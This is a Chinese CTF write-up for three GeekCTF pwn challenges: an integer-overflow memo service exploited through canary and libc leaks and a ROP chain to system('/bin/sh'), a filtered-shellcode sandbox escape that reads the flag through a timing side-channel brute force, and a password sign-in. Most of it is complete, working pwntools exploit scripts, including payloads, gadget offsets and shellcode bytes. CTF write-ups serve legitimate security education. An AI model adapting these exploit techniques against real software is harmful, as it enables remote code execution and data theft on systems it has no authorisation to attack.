Memo1

题目分析

image-20240413125103759

add,show,edit三个功能。

漏洞点

image-20240413125211411

有符号8字节强转4字节无符号。

image-20240413125345950

利用这样可以绕过判断

image-20240413125407918

读取的字符串会将最后的\n替换为’\x00’,所以不能读取到’\n’,但是这样就无法直接泄露libc和canary了,因为被’\x00’截断了。所以需要控制unsigned int v3的值,不读入’\n’。利用整形溢出即可。泄露canary和libc后。再利用溢出构造ROP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('chall.geekctf.geekcon.top', 40311)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(content):
rl(b"Your choice:")
sl(b'1')
rl(b"What do you want to write in the memo:\n")
sl(content)
def show():
rl(b"Your choice:")
sl(b'2')
def edit(num,content):
rl(b"Your choice:")
sl(b'3')
rl(b"How many characters do you want to change:")
sl(str(num))
sleep(0.1)
sl(content)
def delete():
rl(b"Your choice:")
sl(b'4')
rl(b"Please enter your password: ")
payload = 'CTF_is_interesting_isn0t_it?'
# gdb.attach(p)
sl(payload)
# gdb.attach(p)
add(b'a'*0xb7)
rl(b"Your choice:")
sl(b'3')
rl(b"How many characters do you want to change:")
sl(str(-4294967031))
sleep(0.1)
s(b'c'*0x107 + b'd' + b'e')
show()
rl(b'd')
canary = u64(p.recv(8).ljust(8, b'\x00'))-0x65
lg("canary",canary)

rl(b"Your choice:")
sl(b'3')
rl(b"How many characters do you want to change:")
sl(str(-4294967016))
# sleep(0.1)
payload = b'a'*0x108 + p64(canary+0x10) + b'a'*7 + b'c'
s(payload)

show()
rl(b'c')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x29d90
lg("libc_base",libc_base)
system = libc_base+0x50D70
binsh = libc_base+0x1D8678
ret = libc_base+0x0000000000029139
pop_rdi = libc_base+0x2a3e5

rl(b"Your choice:")
sl(b'3')
rl(b"How many characters do you want to change:")
sl(str(-4294966984))
# sleep(0.1)
payload = b'a'*0x108 + p64(canary) + b'a'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
s(payload)

rl(b"Your choice:")
sl(b'5')

inter()

shellcode

image-20240414204913511

有一段可读可写可执行的区域,但是对输入的内容进行了限制,奇偶校验以及必须小于0x7f,输入满足对应条件的shellcode,才能执行。

所以说需要找到合适的gadget才行。(手搓的难受)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
oushu = []
jishu = []
for i in range(0,0x7f):
if i%2 == 0:
oushu.append(i)
else:
jishu.append(i)

tmp = ""
for a in oushu:
for b in jishu:
for c in oushu:
tmp +=chr(a)+chr(b)+chr(c)

tmp2 = ""
for a in jishu:
for b in oushu:
for c in jishu:
tmp2+=chr(a)+chr(b)+chr(c)

with open ("bin1","w") as f1:
f1.write(tmp)

with open("bin2","w") as f2:
f2.write(tmp2)

然后用下面这条指令寻找gadget,大概几十万条吧,随便看几千条筛选一下。

1
disasm -c amd64 < bin > all_gadget

因为还开启了沙盒,只能利用open和read,所以很明显需要侧信道爆破。但是需要执行这些shellcode的话,就需要第一次利用read的系统调用读入侧信道的shellcode。

但是syscall的操作码是’\x0f\x05’。这两个都是奇数,所以就无法直接读入,那么就需要利用add指令在对应位置构造’\x0f\x05’。然后拼接上我们读取的控制read(0,add,length)的shellcode。

1
2
shellcode = '\x5a\x41\x52\x59\x04\x3d\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x04\x01\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x52\x53\x58\x5b\x56\x5d\x5a\x57\x58'
p.recvuntil("Please input your shellcode: ")

前面一部分是构造’\x0f\x05’。后面都是pop或者push构造read。执行完后正好能将’\x0f\x05’拼接到shellcode之后触发syscall。然后再读入侧信道的shellcode。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
def exp(p, dis, char):
shellcode = b'\x5a\x41\x52\x59\x04\x3d\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x04\x01\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x52\x53\x58\x5b\x56\x5d\x5a\x57\x58'
p.recvuntil("Please input your shellcode: ")
p.send(shellcode)
padding = b'./flag\x00\x00' + b'\x00'*(0x3f-0x8)
payload = 'xor rdx,rdx;mov rdi,rsi;xor rsi,rsi;mov rax,2;syscall;'
payload += 'mov rsi,rdi;add rsi,0x500;mov rdi,0x3;mov rdx,0x50;xor rax,rax;syscall;'
payload += f'''
loop:
cmp byte ptr[rsi+{dis}], {char}
jz loop
'''
p.recvuntil('\n')
p.send(padding+asm(payload))

flag = ""
index = 0
last = b'a'
while True:
# 逐字符爆破
update = False
# 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127)
for ch in range(32,127):
p = process("./pwn")
# p = remote('chall.geekctf.geekcon.top', 40245)
exp(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
# 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert(update == True)

if(last == '}'):
break

index += 1

print("flag: " + flag)

签到

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('chall.geekctf.geekcon.top', 40310)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
rl(b"Please enter your password: ")
payload = 'CTF_is_interesting_isn0t_it?'
# gdb.attach(p)
sl(payload)


inter()

在密码校验处下断点,然后拿到经过换表的base64加密的字符串,然后解密是密码,登陆。